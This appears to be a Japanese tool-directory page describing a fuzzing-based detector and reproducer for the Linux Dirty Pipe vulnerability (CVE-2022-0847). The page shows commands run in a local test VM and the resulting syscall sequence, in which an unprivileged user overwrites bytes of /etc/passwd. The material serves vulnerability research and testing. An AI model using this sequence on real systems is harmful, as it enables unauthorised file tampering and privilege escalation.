Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
reproducer-poc-CVE-2022-0847 — CVE-2022-0847(dirty pipe)を検出/再現するための非常に粗いPoC。システムコールのランダム生成とモデルに対する差分ファジングを利用。 | Kitploit
ツール/GitHubGitHub/stfnw/reproducer-poc-cve-2022-0847
動的分析 (サンドボックス)脆弱性分析エクスプロイトファジングペネトレーションテストバイナリエクスプロイト
GitHubstfnw/reproducer-poc-cve-2022-0847

reproducer-poc-CVE-2022-0847

CVE-2022-0847(dirty pipe)を検出/再現するための非常に粗いPoC。システムコールのランダム生成とモデルに対する差分ファジングを利用。

リポジトリを見る
47ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-0847(dirty pipe)の簡易検出器および再現プログラム。 システムコールシーケンス/プログラムを、意図的に制限されたビルディングブロック/入力値のセットから生成する単純なジェネレーターを使用し(生成のみ、高度なファジングなし、ミューテーションなし、カバレッジガイダンスなし、縮小/最小化なし)、モデルと実際のカーネル上の各アクションからの戻り値を比較することで、ステートフルプロパティベーステストに着想を得た誤動作を検出します(モデルに対する差分ファジング)。

免責事項:このコードは、トリガーとなる最小限のPoCを生成できるようにするために、ビルディングブロックに多数のマジックナンバー/ハック/組み込み値を使用しています。 したがって、適切なパラメータを持つ正しいシステムコールシーケンスを現実的に生成するための代表的なものとは言えません(半分だけです)。 大きな可能な状態空間全体で全パラメータを無誘導で生成すると、おそらく非常に長い時間がかかるでしょう。

私は、値やアクションの選択がPoC自体に関する仮定された知識によって直接影響を受けている場所(したがって、完全に現実的なPoCのためにはランダムに見つけなければならない場所)を、文字列「MAGIC VALUE」でマークしようとしました。

これは非常に大まかな概念実証と見なすべきです。

成功した実行の例:

root@kitploit:~
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux

# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"

# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:

# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847

# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

出力:

root@kitploit:~
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 6f 6f 74 3a 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |root::0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34

thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
  - [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
  - [PipeFd { buf: [0], capacity: 65536 }]
  - Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])

Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

$ # note that this poc is found practically instantly

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 00 00 00 00 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |r....:0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

このPoCは build-kernel-and-minimal-poc のものと若干異なることに注意してください。これは、システムコールの順序がバグには実際には関係のない方法で変更されているためです。 これは、モデルと現実のSUTに対するコマンドのロックステップ実行が、この状況も正しく識別することを示しています。

ツールをダウンロード